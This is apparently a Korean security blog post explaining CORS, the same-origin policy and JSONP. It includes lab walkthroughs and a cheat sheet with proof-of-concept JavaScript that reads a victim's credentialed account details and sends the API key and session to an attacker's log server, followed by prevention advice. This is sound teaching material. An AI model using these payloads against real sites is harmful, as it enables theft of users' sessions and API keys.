🔎 What is CORS?

cors

CORS(교차 출처 리소스 공유)는 추가 HTTP 헤더를 사용하여 한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에서 알려주는 체재로 SOP(동일 출처 정책)을 확장하고 유연성을 추가한 것입니다.
HTTP 헤더를 추가하여 전송하는 방법을 사용하며 JSONP(Json with Padding) 방법을 통해 CORS를 대체할 수 있습니다.

많은 웹사이트는 CORS를 사용하여 하위 도메인 및 신뢰할 수 있는 제3자의 액세스를 허용합니다. 이때 CORS의 구현에서 실수를 포함하거나 너무 유연하게 설정을 한 경우 웹 어플리케이션의 정상적인 흐름을 악용하여 타 사용자의 개인정보를 훔치거나 침해를 일으킬 가능성이 존재합니다.

출처(Origin)란 무엇인가?

URL 구조

출처(Origin)는 Protocol(Scheme로도 불림)과 Host(Domain으로도 불림), 그리고 위 그림에는 나와있지 않지만 :80, :443 과 같은 포트번호 까지 모두 합친것을 의미합니다

Access-Control-Allow-Origin

교차 출처 리소스 공유(CORS)는 발신측에서 CORS 헤더를 설정해 요청하면, 수신측에서 헤더를 구분해 정해진 규칙에 맞게 데이터를 가져갈 수 있도록 설정합니다.
Access-Control-Allow-Origin 헤더는 요청 응답값에 포함된 헤더입니다.
웹 브라우저는 Access-Control-Allow-Origin을 요청 웹사이트의 출처와 비교하고 일치하는 경우 응답에 대한 액세스를 허용합니다.
아래의 요청코드를 살펴보면 발신측에서 POST방식으로 HTTP 요청을 보냈으나, OPTIONS 메소드를 가진 HTTP 요청이 전달되었는데 이를 CORS perflight라고 하며, 수신측에 웹 리소스를 요청해도 되는지 질의하는 과정입니다.
발신측의 요청을 살펴보면 Access-Control-Request로 시작하는 헤더가 존재하는 것을 확인할 수 있는데, 해당하는 헤더 뒤에 따라오는 Method와 Headers는 각각 메소드와 헤더를 추가적으로 사용할 수 있는지 질의합니다.
아래의 과정을 마치면 브라우저는 수신측의 응답이 발신측의 요청과 상응하는지 확인하고, 그때야 비로소 POST 요청을 보내 수신측의 웹 리소스를 요청하는 HTTP 요청을 보냅니다.

웹 리소스 요청 코드

/*
    XMLHttpRequest 객체를 생성합니다. 
    XMLHttpRequest는 웹 브라우저와 웹 서버 간에 데이터 전송을
    도와주는 객체 입니다. 이를 통해 HTTP 요청을 보낼 수 있습니다.
*/
xhr = new XMLHttpRequest();
/* https://theori.io/whoami 페이지에 POST 요청을 보내도록 합니다. */
xhr.open('POST', 'https://theori.io/whoami');
/* HTTP 요청을 보낼 때, 쿠키 정보도 함께 사용하도록 해줍니다. */
xhr.withCredentials = true;
/* HTTP Body를 JSON 형태로 보낼 것이라고 수신측에 알려줍니다. */
xhr.setRequestHeader('Content-Type', 'application/json');
/* xhr 객체를 통해 HTTP 요청을 실행합니다. */
xhr.send("{'data':'WhoAmI'}");

발신측의 HTTP 요청 및 서버의 응답

# HTTP 요청
OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://dreamhack.io
Accept: */*
Referer: https://dreamhack.io/

# 서버 응답
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dreamhack.io
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type

Header	설명
Access-Control-Allow-Origin	헤더 값에 해당하는 Origin에서 들어오는 요청만 처리합니다
Access-Control-Allow-Methods	헤더 값에 해당하는 메소드의 요청만 처리합니다
Access-Control-Allow-Credentials	쿠키 사용 여부를 판단합니다. 예시의 경우 쿠키의 사용을 허용합니다.
Access-Control-Allow-Headers	헤더 값에 해당하는 헤더의 사용 가능 여부를 나타냅니다.

JSON with Padding (JSONP)

JSONP는 CORS가 생기기 전에 사용하던 방법으로 현재는 거의 사용하지 않는 추세이기 때문에, 새롭게 코드를 작성할 때에는 CORS를 사용해야 합니다.
이미지나 자바스크립트,CSS 등의 리소스는 SOP에 구애 받지 않고 외부 출처에 대해 접근을 허용하는데 JSONP 방식은 이러한 특징을 이용해 <script> 태그로 Corss Origin의 데이터를 불러옵니다.
하지만 <script> 태그 내에서 데이터를 자바스크립트의 코드로 인식하기 때문에 Callback 함수를 활용해야 합니다. Cross Origin에 요청할 때 callback 파라미터에 어떤 함수로 받아오는 데이터를 핸들링할지 넘겨주면, 대상 서버는 전달된 Callback으로 데이터를 감싸 응답합니다.

# 웹 리소스 요청 코드
<script>
/* myCallback이라는 콜백 함수를 지정합니다. */
function myCallback(data){
    /* 전달받은 인자에서 id를 콘솔에 출력합니다.*/
	console.log(data.id)
}
</script>
<!--
https://theori.io의 스크립트를 로드하는 HTML 코드입니다.
단, callback이라는 이름의 파라미터를 myCallback으로 지정함으로써
수신측에게 myCallback 함수를 사용해 수신받겠다고 알립니다.
-->
<script src='http://theori.io/whoami?callback=myCallback'></script>

# 웹 리소스 요청에 따른 응답 코드
/*
수신측은 myCallback 이라는 함수를 통해 요청측에 데이터를 전달합니다.
전달할 데이터는 현재 theori.io에서 클라이언트가 사용 중인 계정 정보인
{'id': 'dreamhack'} 입니다. 
*/
myCallback({'id':'dreamhack'});

SOP(Same-Origin Policy)란?

웹 사이트에서 서로가 서로를 공격하는 것을 방지하는 것을 목표로 하는 웹 브라우저 보안 메커니즘입니다.
다른 출처로의 리소스 요청을 제한하는 것과 관련된 두가지 정책이 존재하는데 CORS 와 SOP입니다.

SOP는 말 그대로 같은 출처에서만 리소스를 공유할 수 있다. 라는 규칙을 가진 정책입니다

같은 출처, 다른 출처 구분

http://normal-website.com/example/example.html

출처구분

CORS vulnerability with basic origin reflection

안전하지 않은 CORS 정책으로 관리자의 데이터가 노출되는 취약점입니다.

일반계정 wiener로 로그인 시 서버측에서 그에 따른 apikey와 session값을 할당해줍니다

cors1 apikey,sessions 값 할당

해당 패킷에 Origin:https://example.com의 Origin헤더에 임의의 도메인 주소를 추가하여 전송 시 응답값에 임의의 도메인이 리소스를 공유할 수 있도록 허용한다는 응답값을 확인할 수 있습니다

cors2 Access-Control-Allow-Origin 응답

XMLHttpRequest를 통해 cors(교차 출처)를 요청을 하게 되는데 여기서 CORS 헤더에 허용하고자 하는 도메인이 지정되어 있어야 합니다. XHR은 서버와 상호작용 하기 위해 사용되는 객체로 XML 이외에 모든 데이터를 받아올 수 있습니다.

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://acdf1fab1ff37df0c0d852f7003800ce.web-security-academy.net/accountDetails',true);

   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

cors2 5 공격코드 입력

해당 공격코드 입력 후 사용자가 공격코드가 삽입된 페이지에 접속 시 req.open()주소에 지정된 페이지로 자동 로드하게 되어 사용자의 키값,세션값을 공격자의 서버로그에서 확인할 수 있습니다

cors3 공격자 서버 로그 기록

CORS vulnerability with trusted null origin

null 출처를 필터링 하지 않아 null을 신뢰하여 공격하는 취약점입니다.

apikey와 session이 넘어가는 /accountDetails페이지에서 Origin: null 을 추가시 응답값에 신뢰한다는 헤더가 추가된것을 확인할 수 있습니다

cors1 Origin:null 헤더 추가

아래와 같은 스크립트로 공격자의 서버 로그에서 세션값과 apikey를 탈취할 수 있습니다

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','apikey,session을 받는 URL',true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='공격자의 서버 URL/log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>

//실제 공격코드
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac991fb01e7a7a9fc0d20e2e00d300f5.web-security-academy.net/accountDetails/',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-acfa1f441eb97a45c0570e93019b000f.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>

cors2 공격자의 서버 로그 기록

🍁 Cheat sheet

Vulnerable Implementation

GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}

Proof of concept

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://victim.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};

<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>

👀 How to prevent CORS-based attacks

CORS취약점은 주로 잘못된 구성에서 발생합니다. 따라서 예방방법은 제대로 된 설정입니다

도메인 간 요청의 적절한 구성

웹 리소스에 민감한 정보가 포함된 경우 Access-Control-Allow-Origin 헤더에 출처를 올바르게 지정해야 합니다

신뢰할 수 있는 사이트만 허용

당연해 보이지만 Access-Control-Allow-Origin헤더에 지정된 출처는 신뢰할 수 있는 사이트여야 합니다.
특히, 유효성 검사 없이 도메인 간 요청의 출처를 동적으로 반영하는 것은 쉽게 악용될 수 있으므로 피해야 합니다

null 허용 목록 피하기

Access-Control-Allow-Origin: null 헤더를 사용하지 말아야 합니다.

내부 네트워크에서 와일드카드 사용 금지

내부 브라우저가 신뢰할 수 없는 외부 도메인에 액세스 할 수 있는 경우 내부 리소스를 보호하기 위해 네트워크 구성을 신뢰하는 것만으로는 충분하지 않습니다

📃 References

CORS & SOP

🔎 What is CORS?

출처(Origin)란 무엇인가?

Access-Control-Allow-Origin

JSON with Padding (JSONP)

SOP(Same-Origin Policy)란?

같은 출처, 다른 출처 구분

🍁 Cheat sheet

Vulnerable Implementation

Proof of concept

👀 How to prevent CORS-based attacks

도메인 간 요청의 적절한 구성

신뢰할 수 있는 사이트만 허용

null 허용 목록 피하기

내부 네트워크에서 와일드카드 사용 금지

📃 References

CSRF

InsecureBank v2 설치 및 설정

IP 대역 분할 표

Bypass NAC

AWS Cheat Sheet

Latest Posts

Web3 자료 모음

토큰기반 인증에서 bearer 란?

CORS & SOP

Cross-origin resource sharing (CORS)

🔎 What is CORS?

출처(Origin)란 무엇인가?

Access-Control-Allow-Origin

JSON with Padding (JSONP)

SOP(Same-Origin Policy)란?

같은 출처, 다른 출처 구분

🍁 Cheat sheet

Vulnerable Implementation

Proof of concept

👀 How to prevent CORS-based attacks

도메인 간 요청의 적절한 구성

신뢰할 수 있는 사이트만 허용

null 허용 목록 피하기

내부 네트워크에서 와일드카드 사용 금지

📃 References

CSRF

InsecureBank v2 설치 및 설정

You may also like

IP 대역 분할 표

Bypass NAC

AWS Cheat Sheet

Latest Posts

Web3 자료 모음

토큰기반 인증에서 bearer 란?

Explore Tags